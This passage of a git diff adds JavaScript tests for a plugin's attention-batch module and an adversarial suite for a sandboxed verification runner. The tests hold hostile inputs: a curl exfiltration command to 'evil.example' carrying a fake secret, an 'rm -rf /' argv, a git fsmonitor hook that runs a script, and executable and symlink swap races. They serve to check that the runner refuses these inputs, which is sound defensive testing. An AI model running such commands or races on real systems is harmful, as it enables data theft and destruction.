handle }) => { + const grok = grokItem(); + const dsh = dshItem(); + const cloud = cloudItem(); + const { items, source } = itemsAndSource([grok, dsh, cloud]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, cancel, + }); + assert.equal(receipt.record.items[0].disposition, 'pending'); + assert.equal(receipt.record.items[1].disposition, 'unresolved'); + assert.equal(receipt.record.items[2].disposition, 'unresolved'); + assert.equal(receipt.complete_candidate_blocked, true); + const codes = receipt.record.unresolved.map((entry) => `${entry.assignment_id}:${entry.code}`); + assert.ok(codes.includes(`${dsh.assignment_id}:same_session_reply_unsupported`)); + assert.ok(codes.includes(`${cloud.assignment_id}:same_session_reply_unsupported`)); + assert.equal(calls.length, 2); + assert.deepEqual(calls.map((call) => call.assignment_id).sort(), [ + dsh.assignment_id, cloud.assignment_id, + ].sort()); + assert.equal(calls.some((call) => call.assignment_id === grok.assignment_id), false); + }); +}); + +test('one reply round is durable before delivery and resolves exact same-session identities', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const latched = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const { deliver, calls } = trackingDeliver(); + const { cancel } = trackingCancel(); + const replied = await handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok]), + deliver, + cancel, + }); + assert.equal(replied.created, true); + assert.equal(replied.record.status, 'resolved'); + assert.equal(replied.record.reply.round, 1); + assert.equal(replied.record.items[0].disposition, 'answered'); + assert.equal(replied.complete_candidate_blocked, false); + assert.equal(calls.length, 1); + assert.equal(calls[0].session_id, grok.session_id); + assert.equal(calls[0].question_id, grok.question_id); + assert.equal(calls[0].task_id, grok.task_id); + assert.equal(calls[0].response, 'continue'); + }); +}); + +test('restart retries only the exact latched identities after a durable reply', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const latched = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const firstDeliver = trackingDeliver('failed'); + const { cancel } = trackingCancel(); + const failed = await handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok], 'allow_once'), + deliver: firstDeliver.deliver, + cancel, + }); + assert.equal(failed.record.items[0].disposition, 'unresolved'); + assert.ok(failed.record.unresolved.some((entry) => entry.code === 'reply_delivery_failed')); + + const grok2 = grokItem(); + const { items: lateItems, source: lateSource } = itemsAndSource([grok2]); + const retry = trackingDeliver(); + const error = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: failed.record.revision, + reply: makeReply(latched.record.batch_id, [grok2], 'different'), + deliver: retry.deliver, + cancel, + })); + assert.equal(error.code, 'attention_batch_reply_conflict'); + assert.equal(retry.calls.length, 0); + assert.equal( + canonicalJsonStringify((await handle.get(RUN_ID)).record.reply), + canonicalJsonStringify(failed.record.reply), + ); + assert.equal(lateItems.length, 1); + assert.equal(lateSource.task_cursors.length, 1); + }); +}); + +test('required unresolved blocks a complete candidate; optional unresolved does not', async () => { + await withRoot(async ({ handle }) => { + const requiredCloud = cloudItem({ required: true }); + const optionalDsh = dshItem({ required: false, assignmentId: ASSIGNMENT_A, taskId: 'task-opt' }); + const requiredPair = itemsAndSource([requiredCloud]); + const requiredReceipt = await handle.latch({ + run_id: 'run-required-block', + source: requiredPair.source, + items: requiredPair.items, + expected_revision: 0, + cancel: trackingCancel().cancel, + }); + assert.equal(requiredReceipt.complete_candidate_blocked, true); + + const optionalPair = itemsAndSource([optionalDsh]); + const optionalReceipt = await handle.latch({ + run_id: 'run-optional-open', + source: optionalPair.source, + items: optionalPair.items, + expected_revision: 0, + cancel: trackingCancel().cancel, + }); + assert.equal(optionalReceipt.complete_candidate_blocked, false); + assert.equal(optionalReceipt.record.items[0].disposition, 'unresolved'); + }); +}); + +test('later questions cannot open a second round and cancel only the late lanes', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const first = itemsAndSource([grok]); + await handle.latch({ + run_id: RUN_ID, source: first.source, items: first.items, expected_revision: 0, + }); + const late = cloudItem(); + const second = itemsAndSource([late]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, + source: second.source, + items: second.items, + expected_revision: 1, + cancel, + }); + assert.equal(receipt.created, false); + assert.equal(receipt.record.items.length, 1); + assert.equal(receipt.record.items[0].assignment_id, grok.assignment_id); + assert.ok(receipt.record.unresolved.some((entry) => ( + entry.assignment_id === late.assignment_id + && entry.code === 'late_attention_after_latch' + ))); + assert.equal(calls.length, 1); + assert.equal(calls[0].assignment_id, late.assignment_id); + assert.equal(receipt.complete_candidate_blocked, true); + }); +}); + +test('unsupported-only batch accepts the empty one-round reply and resolves', async () => { + await withRoot(async ({ handle }) => { + const dsh = dshItem({ required: false }); + const { items, source } = itemsAndSource([dsh]); + const latched = await handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + cancel: trackingCancel().cancel, + }); + const replied = await handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, []), + }); + assert.equal(replied.record.status, 'resolved'); + assert.equal(replied.record.reply.answers.length, 0); + assert.equal(replied.record.reply.round, 1); + }); +}); + +test('P25 journal bytes stay unchanged and attention never writes journal files', async () => { + const storeRoot = await makeStoreRoot('r1-p34-p25-store-'); + const journalRoot = await makeStoreRoot('r1-p34-p25-journal-'); + const attentionRoot = await makePrivateRoot('r1-p34-p25-attention-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: RUN_ID })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: RUN_ID }); + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + await journal.append({ + kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.tick' }, + }); + const before = await readFile(path.join(journal.directory, 'journal.jsonl')); + const state = await journal.currentState(); + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + source.journal_revision = state.revision; + source.journal_head_hash = state.head_hash; + const handle = await openAttentionRoot(attentionRoot); + await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const after = await readFile(path.join(journal.directory, 'journal.jsonl')); + assert.equal(Buffer.compare(before, after), 0); + const attentionNames = await readdir(path.join(attentionRoot, 'runs', RUN_ID)); + assert.equal(attentionNames.includes('journal.jsonl'), false); + assert.equal(attentionNames.includes('state.json'), false); + assert.equal(attentionNames.includes('created.json'), false); + assert.deepEqual(attentionNames, [ATTENTION_BATCH_FILE_NAME]); + const journalNames = await readdir(journal.directory); + assert.equal(journalNames.includes(ATTENTION_BATCH_FILE_NAME), false); + assert.deepEqual([...RUN_JOURNAL_EVENT_KINDS], [ + 'run_opened', 'child_started', 'child_progress', 'child_artifact', + 'child_terminal', 'run_terminal', + ]); + assert.equal(RUN_JOURNAL_GENESIS_PREV, REDUCER_GENESIS); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } +}); + +test('P34 source does not import P25, mailbox, scheduler, or server surfaces', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-journal.mjs', + 'run-reducer.mjs', + 'mailbox.mjs', + 'server.mjs', + 'supervisor.mjs', + 'run-orchestration.mjs', + 'provider-registry.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } + const reducer = await readFile(REDUCER_PATH, 'utf8'); + const journal = await readFile(JOURNAL_PATH, 'utf8'); + assert.match(reducer, /export const RUN_JOURNAL_EVENT_KINDS/u); + assert.match(journal, /journal\.jsonl/u); + assert.equal(reducer.includes('attention-batch'), false); + assert.equal(journal.includes('attention-batch.v1.json'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs new file mode 100644 index 0000000..08b545c --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs @@ -0,0 +1,815 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import fs, { + chmodSync, copyFileSync, renameSync, symlinkSync, writeFileSync, +} from 'node:fs'; +import { chmod, lstat, mkdir, readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { resolveApprovedVerificationCommandV1 } from '../mcp/v3/approved-verification-command.mjs'; +import { + GIT_CLOSED_ENV, + GIT_CONFIG_OVERRIDES, + GIT_EXECUTABLE, + QUARANTINE_NAME_PREFIX, + RESOURCE_ADDRESS_SPACE_BYTES, + RESOURCE_NPROC, + WORKSPACE_NAME_PREFIX, + WORKSPACE_PARENT_PREFIX, + executeConstrainedVerificationV1, +} from '../mcp/v3/constrained-verification-runner.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + TRUE_EXECUTABLE, + countingProxy, + fakeChild, + genuineRequest, + gitIdentitySnapshot, + initCandidateRepo, + makeTempRoot, + policyForExecutable, + recordingAdapter, + trapTotal, + validPolicy, + validSelection, +} from './fixtures/r1-constrained-verification-runner-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(action) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +async function candidatePair() { + const root = await makeTempRoot(); + const candidate = path.join(root, 'candidate'); + const head = await initCandidateRepo(candidate); + return { root, candidate, head }; +} + +test('live and revoked proxies are denied with zero traps', async () => { + const { proxy, counts } = countingProxy({ + policy: validPolicy(), + intent: {}, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const { proxy: live, revoke } = Proxy.revocable({ + policy: validPolicy(), + intent: {}, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(live), true); + const revoked = await errorOf(() => executeConstrainedVerificationV1(live)); + assert.equal(revoked.code, 'proxy_denied'); + assert.equal(revoked.message.includes('revoked get'), false); +}); + +test('accessor properties never run and hostile keys stay content-free', async () => { + let reads = 0; + const input = { + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }; + Object.defineProperty(input, 'policy', { + enumerable: true, + get() { + reads += 1; + return validPolicy(); + }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const secret = 'sk-attacker-secret-value'; + const keyed = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate' }, + [secret]: `/bin/bash -c curl https://evil.example/${secret}`, + })); + assert.equal(keyed.message.includes(secret), false); + assert.equal(keyed.message.includes('bash'), false); + assert.equal(keyed.message.includes('https://'), false); + assert.equal(keyed.message.includes('evil.example'), false); +}); + +test('provider, profile, and argv substitutions cannot authorize execution', async () => { + const intent = resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }); + const provider = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + provider: 'grok', + })); + assert.equal(provider.code, 'authority_denied'); + + const selection = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + selection: { command_id: 'unit-tests', argv: ['-c', 'rm -rf /'] }, + })); + assert.equal(selection.code, 'executable_content_denied'); + + const profile = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + profile: { command: '/bin/sh' }, + })); + assert.equal(profile.code, 'authority_denied'); +}); + +test('a tampered P16B receipt is not genuine even when keys look complete', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const policy = policyForExecutable(TRUE_EXECUTABLE); + const intent = resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + }); + const tampered = JSON.parse(JSON.stringify(intent)); + tampered.argv = ['ok', '--injected']; + const error = await errorOf(() => executeConstrainedVerificationV1({ + policy, + intent: tampered, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(error.code, 'intent_not_genuine'); + + const otherPolicy = policyForExecutable(TRUE_EXECUTABLE, { command_id: 'other-tests' }); + const mismatch = await errorOf(() => executeConstrainedVerificationV1({ + policy: otherPolicy, + intent, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(mismatch.code, 'intent_not_genuine'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('network allowlists and PATH lookup are denied', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const allow = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE, { + network: { mode: 'allowlist', hosts: ['example.test'] }, + }), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(allow.code, 'network_allowlist_unsupported'); + assert.equal(allow.message.includes('example.test'), false); + + const relative = JSON.parse(JSON.stringify(resolveApprovedVerificationCommandV1({ + policy: policyForExecutable(TRUE_EXECUTABLE), + selection: validSelection(), + }))); + relative.executable = 'true'; + const lookup = await errorOf(() => executeConstrainedVerificationV1({ + policy: policyForExecutable(TRUE_EXECUTABLE), + intent: relative, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(lookup.code, 'intent_not_genuine'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('cleanup identity swap never deletes the candidate or unresolved paths', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const deleted = []; + const mkdirPaths = []; + const base = recordingAdapter({ + child: { code: 0 }, + git: gitIdentitySnapshot({ head_sha: head, gitdir: `${candidate}/.git` }), + }); + const realMkdir = (await import('node:fs/promises')).mkdir; + const adapter = { + ...base.adapter, + mkdir: async (target, options) => { + mkdirPaths.push(target); + return realMkdir(target, options); + }, + spawn: (file, args, options) => { + const workspacePath = mkdirPaths.find((entry) => path.basename(entry).startsWith('codex-co-engineer-p16c-') + && path.basename(entry).startsWith('codex-co-engineer-p16c-owner-') === false); + if (workspacePath !== undefined) { + const stolen = `${workspacePath}.stolen`; + try { + renameSync(workspacePath, stolen); + symlinkSync(candidate, workspacePath); + } catch { + // race helper; cleanup must still fail closed + } + } + base.calls.spawn.push({ file, args, options }); + return fakeChild({ code: 0 }); + }, + rmdirExact: async (record) => { + deleted.push(record.path); + }, + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(deleted.length, 0); + assert.equal(deleted.includes(candidate), false); + assert.equal(deleted.includes('/'), false); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('shell metacharacters, merge/push keys, and special workspace files are denied', async () => { + const intent = resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }); + const shell = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + shell: 'bash -c true', + })); + assert.equal(shell.code, 'executable_content_denied'); + + const merge = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + push: true, + })); + assert.ok(merge.code === 'unknown_key' || merge.code === 'mutation_permission_denied'); +}); + +test('a candidate gitdir symlink is denied before spawn', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const decoy = path.join(root, 'decoy.git'); + await mkdir(decoy); + const gitPath = path.join(candidate, '.git'); + await rm(gitPath, { recursive: true, force: true }); + await symlink(decoy, gitPath); + const error = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(error.code, 'symlink_denied'); + assert.equal(recordingAdapter().calls.spawn.length, 0); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('failures never echo native stacks, URLs, or attacker argv', async () => { + const error = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate', url: 'https://steal.test' }, + })); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); + assert.equal(error.message.includes('TypeError'), false); +}); + +function spawnGit(args, env) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, args, { + cwd: '/', + env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + child.on('error', reject); + child.on('exit', (code, signal) => resolve({ code, signal })); + }); +} + +test('parent-failing git fsmonitor marker is reproduced and repaired audit writes zero', async () => { + const { root, candidate, head } = await candidatePair(); + const marker = path.join(root, 'fsmonitor.marker'); + const hook = path.join(root, 'fsmonitor.sh'); + try { + await writeFile(hook, `#!/bin/sh\necho pwned >> "${marker}"\nexit 0\n`, { mode: 0o755 }); + await chmod(hook, 0o755); + await spawnGit(['-C', candidate, 'config', 'core.fsmonitor', hook], { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + }); + await spawnGit([ + '-C', candidate, '--no-optional-locks', 'status', '--porcelain=v1', '--untracked-files=all', + ], { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + }); + const parentMarker = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(parentMarker.includes('pwned'), true); + await rm(marker, { force: true }); + const receipt = await executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + })); + assert.equal(receipt.outcome.result, 'pass'); + const repaired = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(repaired, ''); + assert.equal(GIT_CONFIG_OVERRIDES.includes('core.fsmonitor='), true); + assert.equal(Object.hasOwn(GIT_CLOSED_ENV, 'PATH'), false); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing executable path replacement is fail-closed and never re-opens the path', async () => { + const { root, candidate, head } = await candidatePair(); + const exe = path.join(root, 'approved-true'); + const marker = path.join(root, 'pwned.marker'); + try { + copyFileSync(TRUE_EXECUTABLE, exe); + await chmod(exe, 0o755); + const request = genuineRequest({ + policy: policyForExecutable(exe), + executable: exe, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + spawn: (file, args, options) => { + renameSync(exe, `${exe}.orig`); + writeFileSync(exe, `#!/bin/sh\necho pwned > "${marker}"\nexit 0\n`); + chmodSync(exe, 0o755); + assert.equal(typeof options.executableFd, 'number'); + return nodeSpawn('/proc/self/fd/3', args, { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', options.executableFd], + }); + }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'executable_not_runnable'); + const pwned = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(pwned, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing workspace cwd symlink swap cannot redirect writes', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/touch', { argv_template: ['redirected.marker'] }), + executable: '/usr/bin/touch', + candidate: { repository: candidate, expected_head_sha: head }, + }); + const mkdirPaths = []; + const { adapter, calls } = recordingAdapter({}); + const realMkdir = adapter.mkdir; + adapter.mkdir = async (target, options) => { + mkdirPaths.push(target); + return realMkdir(target, options); + }; + adapter.spawn = (file, args, options) => { + const workspacePath = mkdirPaths.find((entry) => path.basename(entry).startsWith('codex-co-engineer-p16c-') + && path.basename(entry).startsWith('codex-co-engineer-p16c-owner-') === false); + if (workspacePath !== undefined) { + try { + renameSync(workspacePath, `${workspacePath}.moved`); + symlinkSync(candidate, workspacePath); + } catch { + // ignore helper failures; descriptor cwd must still win + } + } + calls.spawn.push({ file, args, options }); + assert.match(options.cwd, /^\/proc\/self\/fd\/[0-9]+$/u); + return nodeSpawn('/usr/bin/touch', args, { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + const redirected = await readFile(path.join(candidate, 'redirected.marker'), 'utf8').catch(() => ''); + assert.equal(redirected, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing /proc enumeration failure is cleanup_uncertain not pass', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ + child: { code: 0 }, + listDescendants: async () => { + throw Object.assign(new Error('eacces'), { code: 'EACCES' }); + }, + }).adapter, + })); + assert.equal(error.code, 'cleanup_uncertain'); + + const nonArray = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ + child: { code: 0 }, + listDescendants: async () => undefined, + }).adapter, + })); + assert.equal(nonArray.code, 'cleanup_uncertain'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing special files and copy races are rejected before execution', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await symlink(path.join(candidate, 'README'), path.join(candidate, 'link-readme')); + const linked = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }))); + assert.equal(linked.code, 'symlink_denied'); + + await rm(path.join(candidate, 'link-readme')); + const fifo = path.join(candidate, 'pipe'); + await new Promise((resolve, reject) => { + nodeSpawn('/usr/bin/mkfifo', [fifo], { shell: false }).on('exit', (code) => { + if (code === 0) resolve(); + else reject(new Error('mkfifo')); + }); + }); + const fifoError = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }))); + assert.equal(fifoError.code, 'special_file_denied'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing unshare-only bounds are replaced by explicit prlimit CPU AS and nproc', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + const receipt = await executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter }); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(calls.spawn[0].options.resourceLimits.nproc, RESOURCE_NPROC); + assert.equal(calls.spawn[0].options.resourceLimits.address_space_bytes, RESOURCE_ADDRESS_SPACE_BYTES); + assert.equal(Number.isSafeInteger(calls.spawn[0].options.resourceLimits.cpu_seconds), true); + const source = await readFile(new URL('../mcp/v3/constrained-verification-runner.mjs', import.meta.url), 'utf8'); + assert.match(source, /\/usr\/bin\/prlimit/u); + assert.match(source, /--cpu=/u); + assert.match(source, /--as=/u); + assert.match(source, /--nproc=/u); + assert.match(source, /O_NOFOLLOW/u); + assert.match(source, /O_DIRECTORY/u); + assert.match(source, /\/proc\/self\/fd\//u); + assert.equal(source.includes('recursive: true'), false); + assert.doesNotMatch(source, /\bFS_RM\b/u); + assert.match(source, /FS_UNLINK_SYNC/u); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing address-space escape is fail-closed by prlimit', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await writeFile(path.join(candidate, 'mem.py'), [ + 'try:', + ' x=b"x"*400*1024*1024', + ' raise SystemExit(0)', + 'except MemoryError:', + ' raise SystemExit(2)', + '', + ].join('\n')); + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/python3.12', { argv_template: ['mem.py'] }), + executable: '/usr/bin/python3.12', + candidate: { repository: candidate, expected_head_sha: head }, + }); + let passed = false; + try { + const receipt = await executeConstrainedVerificationV1(request); + passed = receipt.outcome.result === 'pass'; + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + } + assert.equal(passed, false); + assert.equal(RESOURCE_ADDRESS_SPACE_BYTES < 400 * 1024 * 1024, true); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +const HEX_A = 'a'.repeat(32); +const HEX_B = 'b'.repeat(32); +const SENTINEL_BYTES = 'p16c-candidate-sentinel-preserve\n'; +const OPEN_PINNED_DIR = fs.constants.O_RDONLY | fs.constants.O_DIRECTORY | fs.constants.O_NOFOLLOW; + +async function gitHeadOf(repo) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, ['-C', repo, 'rev-parse', 'HEAD'], { + cwd: '/', + env: { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + }, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let out = ''; + child.stdout.on('data', (chunk) => { out += String(chunk); }); + child.on('error', reject); + child.on('exit', (code) => { + if (code === 0) resolve(out.trim()); + else reject(new Error('rev-parse failed')); + }); + }); +} + +function replaceQuarantineWithCandidate(parentPath, qName, candidate) { + const qPath = path.join(parentPath, qName); + renameSync(qPath, `${qPath}.stolen`); + renameSync(candidate, qPath); + return qPath; +} + +test('parent 95adf976 recursive quarantine path rm deletes a replaced candidate', async () => { + const root = await makeTempRoot(); + const parentPath = path.join(root, `${WORKSPACE_PARENT_PREFIX}${HEX_A}`); + const workspaceName = `${WORKSPACE_NAME_PREFIX}${HEX_B}`; + const workspacePath = path.join(parentPath, workspaceName); + const candidate = path.join(root, 'candidate'); + const qName = `${QUARANTINE_NAME_PREFIX}${HEX_B}`; + try { + const head = await initCandidateRepo(candidate); + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(parentPath, { recursive: false, mode: 0o700 }); + await mkdir(workspacePath, { recursive: false, mode: 0o700 }); + await writeFile(path.join(workspacePath, 'junk'), 'workspace-copy\n'); + const parentFd = fs.openSync(parentPath, OPEN_PINNED_DIR); + const dirFd = fs.openSync(`/proc/self/fd/${parentFd}/${workspaceName}`, OPEN_PINNED_DIR); + const pinned = fs.fstatSync(dirFd, { bigint: true }); + fs.renameSync(`/proc/self/fd/${parentFd}/${workspaceName}`, `/proc/self/fd/${parentFd}/${qName}`); + const qFd = fs.openSync(`/proc/self/fd/${parentFd}/${qName}`, OPEN_PINNED_DIR); + const qStat = fs.fstatSync(qFd, { bigint: true }); + assert.equal(qStat.dev, pinned.dev); + assert.equal(qStat.ino, pinned.ino); + fs.closeSync(qFd); + fs.closeSync(dirFd); + const replacement = replaceQuarantineWithCandidate(parentPath, qName, candidate); + const replaceable = `/proc/self/fd/${parentFd}/${qName}`; + await rm(replaceable, { recursive: true, force: false }); + fs.closeSync(parentFd); + const sentinel = await readFile(path.join(replacement, 'SENTINEL'), 'utf8').catch(() => ''); + assert.equal(sentinel, ''); + const gitPresent = await lstat(path.join(replacement, '.git')).then(() => true, () => false); + assert.equal(gitPresent, false); + const originalPresent = await lstat(candidate).then(() => true, () => false); + assert.equal(originalPresent, false); + assert.notEqual(head, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('post-pin quarantine name replacement returns cleanup_uncertain and preserves candidate', async () => { + const { root, candidate, head } = await candidatePair(); + const recursive = []; + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(path.join(candidate, 'nested', 'deep'), { recursive: true }); + await writeFile(path.join(candidate, 'nested', 'deep', 'file.txt'), 'nested-keep\n'); + const request = genuineRequest({ + policy: 